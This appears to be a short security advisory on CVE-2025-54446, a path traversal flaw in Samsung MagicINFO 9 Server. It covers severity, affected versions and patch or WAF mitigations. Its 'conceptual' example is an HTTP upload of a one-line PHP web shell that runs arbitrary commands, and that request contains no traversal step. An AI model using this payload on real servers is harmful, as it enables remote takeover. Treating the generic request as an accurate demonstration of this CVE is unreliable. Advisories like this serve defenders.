Overview
A recently discovered vulnerability, CVE-2025-54446, poses a serious threat to users of Samsung Electronics MagicINFO 9 Server. This vulnerability, which pertains to the improper limitation of a pathname to a restricted directory (also known as ‘Path Traversal’), offers malicious users an opportunity to upload a web shell to a web server. Given the widespread use of MagicINFO 9 Server, this vulnerability raises significant concerns, with potential system compromise or data leakage on the horizon.
Vulnerability Summary
CVE ID: CVE-2025-54446
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
MagicINFO 9 Server | less than 21.1080.0
How the Exploit Works
The exploit takes advantage of the path traversal vulnerability in the MagicINFO 9 Server. Malicious actors can use this vulnerability to bypass the server’s security and upload a web shell. A web shell could allow the attacker to execute arbitrary commands on the server, leading to possible system control or data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request:
POST /upload/webshell.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: application/x-php
<?php system($_GET["cmd"]); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, an attacker sends a POST request to the server’s upload endpoint, with a web shell file that can execute arbitrary system commands.
Mitigation
The best way to mitigate the risk of this vulnerability is to apply the vendor patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. Regularly updating and patching all systems can prevent similar vulnerabilities in the future.